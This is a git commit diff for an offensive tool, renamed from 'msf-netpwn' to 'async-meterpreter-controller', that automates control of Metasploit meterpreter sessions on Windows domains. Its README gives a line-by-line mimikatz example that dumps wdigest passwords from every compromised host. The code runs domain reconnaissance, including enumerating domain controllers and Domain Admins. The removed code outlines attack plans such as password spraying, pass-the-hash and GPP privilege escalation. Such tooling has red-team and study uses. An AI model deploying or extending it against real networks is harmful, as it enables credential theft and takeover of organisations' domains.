This commit is contained in:
root
2018-06-16 01:08:40 -06:00
parent 2657a32566
commit 317347faf0
2 changed files with 78 additions and 82 deletions

View File

@@ -1,30 +1,55 @@
msf-netpwn async-meterpreter-controller
------ ------
PROJECT IN PROGRESS. Waits for a Metasploit shell on an Active Directory environment then automatically privilege escalates to domain admin. Waits for a windows meterpreter shell then lets you asynchronously do whatever you want with it.
#### Installation #### Installation
This install is only tested on Kali. Clone into the repo, enter the cloned folder and run install.sh. Open a new terminal and start metasploit with the included rc file. Back in the original terminal continue by entering the newly-created virtual environment with pipenv. Finally, enter the included msfrpc/ folder and install it now that you're inside the virtual environment. This install is only tested on Kali. Clone into the repo, enter the cloned folder and run install.sh. Open a new terminal and start metasploit with the included rc file. Back in the original terminal continue by entering the newly-created virtual environment with pipenv. Finally, enter the included msfrpc/ folder and install it now that you're inside the virtual environment.
``` ```
git clone https://github.com/DanMcInerney/msf-autopwn git clone https://github.com/DanMcInerney/async-meterpreter-controller
cd msf-autopwn cd async-meterpreter-controller
In a new terminal: msfconsole -r msfrpc.rc In a new terminal: msfconsole -r msfrpc.rc
pipenv install --three pipenv install --three
pipenv shell pipenv shell
cd msfrpc && python2 setup install && cd .. cd msfrpc && python2 setup install && cd ..
./async-meterpreter-controller.py
``` ```
#### Usage #### Usage
```./msf-netpwn.py ``` ```./async-meterpreter-controller.py```
#### Current progress #### How to extend
Async is working and error handling for when sessions die unexepectedly is in place. I think the error handling should probably be DRY'd out. But right now the script will start, wait for a session to be found, do recon on that session and if that session is domain-joined, it'll do domain recon like getting domain controllers and domain admins. By default all the script does is run `sysinfo`, `getuid`, and windows/post/gather/win_privs then prints all the shell info to the console. All session data is being stored in the global NEW_SESS_DATA dictionary. To extend the template and send commands and get output from each meterpreter session you'll want to go to line 470. Here's an example of how you'd run mimikatz on each session. Start coding on line 472:
#### To do ```
* domain privesc global NEW_SESS_DATA
** ms14-068? that might be hard to implement load_mimi_cmd = 'load mimikatz'
** GPP load_mimi_end_strs = [b'Success.', b'has already been loaded.']
* mimikatz boxes with admin shells load_mimi_output = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
* basic privesc if user is not admin wdigest_cmd = 'wdigest'
* get spreading function working (include AMSI bypass) wdigest_end_str = [b' Password']
* Long-term: incorporate BloodHound graph CSV ingestion for more efficient attack pathing mimikatz_output = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
if type(mimikatz_output) == str:
return mimikatz_output
else:
mimikatz_utf8_out = mimikatz_output.decode('utf8')
mimikatz_split = mimikatz_utf8_out.splitlines()
for l in mimikatz_split:
print_info(l.strip(), sess_num)
NEW_SESS_DATA[sess_num][b'mimikatz_output'] = mimikatz_split
```
* Line 1: We will be adding data to NEW_SESS_DATA so that all async coroutines can access the same information about the sessions so we have to define it as a global variable.
* Line 2: We start by creating the command to load the mimikatz plugin in the session.
* Line 3: The script asynchronously waits for the meterpreter output but it's just reading the meterpreter buffer over and over so we give it any number of byte literals to look for that will tell it the command finished. There's also builtin ability to detect timed out commands and various errors.
* Line 4: This is where we call the meterpreter command on that session and asynchronously wait for the output.
* Line 5: Command to run on the session.
* Line 6: The byte literal that will appear in the meterpreter output that tells us the command finished.
* Line 7: Asynchronously wait on the output of the 'wdigest' command.
* Line 8: run_session_cmd() will only return a string if it errored out. Otherwise it will return bytes, e.g., b'Blah blah'.
* Line 9: Here we return the function with the error message if it errored out.
* Line 10: If we get a byte literal then we know the command completed successfully.
* Line 11: Convert the byte literal to string.
* Line 12: Create a list where each item is one line from the output of the 'wdigest' command.
* Line 13: For each line of output from 'wdigest'...
* Line 14: Print that line of output. We have access to print_info(), print_good(), print_great(), and print_error() which will colorize the output.
* Line 15: Add the mimikatz data to the global variable NEW_SESS_DATA so that this data is now accessible should you want to do something with it later even if it's in another session.

View File

@@ -88,7 +88,7 @@ def get_local_ip(iface):
async def get_shell_info(client, sess_num): async def get_shell_info(client, sess_num):
sysinfo_cmd = 'sysinfo' sysinfo_cmd = 'sysinfo'
sysinfo_end_str = b'Meterpreter : ' sysinfo_end_str = [b'Meterpreter : ']
sysinfo_output = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str) sysinfo_output = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
# Catch error # Catch error
@@ -100,7 +100,7 @@ async def get_shell_info(client, sess_num):
sysinfo_split = sysinfo_utf8_out.splitlines() sysinfo_split = sysinfo_utf8_out.splitlines()
getuid_cmd = 'getuid' getuid_cmd = 'getuid'
getuid_end_str = b'Server username:' getuid_end_str = [b'Server username:']
getuid_output = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str) getuid_output = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
# Catch error # Catch error
@@ -225,15 +225,17 @@ async def is_admin(client, sess_num):
async def get_domain_controllers(client, sess_num): async def get_domain_controllers(client, sess_num):
global DOMAIN_DATA global DOMAIN_DATA
global NEW_SESS_DATA
print_info('Getting domain controller...', sess_num) print_info('Getting domain controller...', sess_num)
cmd = 'run post/windows/gather/enum_domains' cmd = 'run post/windows/gather/enum_domains'
end_str = b'[+] Domain Controller:' end_str = [b'[+] Domain Controller:']
output = await run_session_cmd(client, sess_num, cmd, end_str) output = await run_session_cmd(client, sess_num, cmd, end_str)
# Catch timeout # Catch timeout
if type(output) == str: if type(output) == str:
DOMAIN_DATA['error'].append(sess_num) NEW_SESS_DATA[sess_num][b'error'] = output
return
output = output.decode('utf8') output = output.decode('utf8')
if 'Domain Controller: ' in output: if 'Domain Controller: ' in output:
@@ -244,15 +246,16 @@ async def get_domain_controllers(client, sess_num):
async def get_domain_admins(client, sess_num, ran_once): async def get_domain_admins(client, sess_num, ran_once):
global DOMAIN_DATA global DOMAIN_DATA
global NEW_SESS_DATA
print_info('Getting domain admins...', sess_num) print_info('Getting domain admins...', sess_num)
cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"' cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"'
end_str = b'[+] User list' end_str = [b'[+] User list']
output = await run_session_cmd(client, sess_num, cmd, end_str) output = await run_session_cmd(client, sess_num, cmd, end_str)
# Catch timeout # Catch timeout
if type(output) == str: if type(output) == str:
DOMAIN_DATA['error'].append(sess_num) NEW_SESS_DATA[sess_num][b'error'] = output
return return
output = output.decode('utf8') output = output.decode('utf8')
@@ -305,60 +308,6 @@ def update_session(session, sess_num):
else: else:
NEW_SESS_DATA[sess_num] = session NEW_SESS_DATA[sess_num] = session
async def gather_passwords(client, sess_num):
#mimikatz
#mimikittenz
#hashdump
pass
async def attack(client, sess_num):
# Make sure it got the admin_shell info added
#if b'admin_shell' in NEW_SESS_DATA[sess_num]:
# Is admin
if NEW_SESS_DATA[sess_num][b'admin_shell'] == b'True':
# mimikatz, spray, PTH RID 500
await gather_passwords(client, sess_num)
elif NEW_SESS_DATA[sess_num][b'admin_shell'] == b'False':
if NEW_SESS_DATA[sess_num][b'local_admin'] == b'True':
# Getsystem > mimikatz, spray, PTH rid 500
pass
if NEW_SESS_DATA[sess_num][b'local_admin'] == b'False':
# Give up
pass
# START ATTACKING! FINALLY!
# not domain joined and not admin
# fuck it?
# not domain joined but admin
# mimikatz
# domain joined and not admin
# GPP privesc
# Check for seimpersonate
# Check for dcsync
# userhunter
# spray and pray
# domain joined and admin
# GPP
# userhunter
# spray and pray
async def attack_with_session(client, session, sess_num):
''' Attacks with a session '''
update_session(session, sess_num)
# Get and print session info if first time we've checked the session
#asyncio.ensure_future(sess_first_check(client, sess_num))
task = await sess_first_check(client, sess_num)
if task:
await asyncio.wait(task)
if is_session_broken(sess_num) == False:
await attack(client, sess_num)
def get_output(client, cmd, sess_num): def get_output(client, cmd, sess_num):
output = client.call('session.meterpreter_read', [str(sess_num)]) output = client.call('session.meterpreter_read', [str(sess_num)])
@@ -381,7 +330,8 @@ def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
b'error in script', b'error in script',
b'operation failed', b'operation failed',
b'unknown command', b'unknown command',
b'operation timed out'] b'operation timed out',
b'unknown session id']
# Got an error from output # Got an error from output
if any(x in output.lower() for x in script_errors): if any(x in output.lower() for x in script_errors):
@@ -398,7 +348,7 @@ def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
# No output but we haven't reached timeout yet # No output but we haven't reached timeout yet
return output, counter return output, counter
async def run_session_cmd(client, sess_num, cmd, end_str, timeout=30): async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
''' Will only return a str if we failed to run a cmd''' ''' Will only return a str if we failed to run a cmd'''
global NEW_SESS_DATA global NEW_SESS_DATA
@@ -435,8 +385,8 @@ async def run_session_cmd(client, sess_num, cmd, end_str, timeout=30):
return output return output
# Successfully completed # Successfully completed
if end_str: if end_strs:
if end_str in output: if any(end_str in output for end_str in end_strs):
NEW_SESS_DATA[sess_num][b'busy'] = b'False' NEW_SESS_DATA[sess_num][b'busy'] = b'False'
return output return output
# If no end_str specified just return once we have any data # If no end_str specified just return once we have any data
@@ -479,13 +429,13 @@ def is_session_broken(sess_num):
if b'error' in NEW_SESS_DATA[sess_num]: if b'error' in NEW_SESS_DATA[sess_num]:
# Session timed out on initial sysinfo cmd # Session timed out on initial sysinfo cmd
if b'domain' not in NEW_SESS_DATA: if b'domain' not in NEW_SESS_DATA[sess_num]:
return True return True
# Session abruptly died # Session abruptly died
elif NEW_SESS_DATA[s][b'error'] == b'exception below likely due to abrupt death of session': if NEW_SESS_DATA[sess_num][b'error'] == b'exception below likely due to abrupt death of session':
return True return True
# Session timed out # Session timed out
elif 'Rex::TimeoutError' in NEW_SESS_DATA[s][b'error']: if 'Rex::TimeoutError' in NEW_SESS_DATA[sess_num][b'error']:
return True return True
return False return False
@@ -515,6 +465,27 @@ async def check_for_sessions(client, loop):
await asyncio.sleep(1) await asyncio.sleep(1)
async def do_stuff_with_meterpreter(client, sess_num):
''' Do stuff with each session here '''
######################################
# YOUR CODE HERE #
######################################
async def attack_with_session(client, session, sess_num):
''' Attacks with a session '''
update_session(session, sess_num)
# Get and print session info if first time we've checked the session
#asyncio.ensure_future(sess_first_check(client, sess_num))
task = await sess_first_check(client, sess_num)
if task:
await asyncio.wait(task)
if is_session_broken(sess_num) == False:
print('are we here yet 2')
# THIS IS WHERE YOU CAN DO STUFF WITH EACH SESSION
await do_stuff_with_meterpreter(client, sess_num)
def main(args): def main(args):
client = msfrpc.Msfrpc({}) client = msfrpc.Msfrpc({})